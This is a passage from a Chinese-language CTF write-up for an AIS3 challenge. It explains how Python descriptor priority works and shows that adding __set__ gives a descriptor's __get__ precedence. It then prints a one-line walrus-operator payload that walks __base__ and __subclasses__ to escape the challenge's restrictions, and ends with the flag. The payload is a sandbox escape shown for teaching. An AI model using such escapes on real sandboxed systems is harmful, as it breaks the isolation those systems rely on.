  • 如果上述步驟都無法找到該屬性,最後會返回描述器物件本身,如果連描述器也不存在,則會拋出 AttributeError。

看到這邊,問題已經變很簡單了,那就是我們需要將 __get__ 變成最高優先級,此時後面就算 fake_flag 把 test.desc 蓋掉也沒有用,仍然會回傳 Test.__get__() 的內容

如何將 __get__ 變成最高優先級呢?只要新增一個 __set__ 就行了

1
2
func = lambda self,obj,val:None
desc.__setattr__("__set__",func)
1
2
#payload
(a := Desc(),a.desc_helper("__base__"),obj:=a.helper,a := Desc(),a.desc_helper("__subclasses__"),desc:=a.helper(obj)[-2],a:=Desc(),a.desc_helper("__setattr__"),func:=lambda self,obj,val:None,a.helper(desc,"__set__",func))

AIS3{y0u_kn0w_h0w_d35cr1p70r_w0rk!}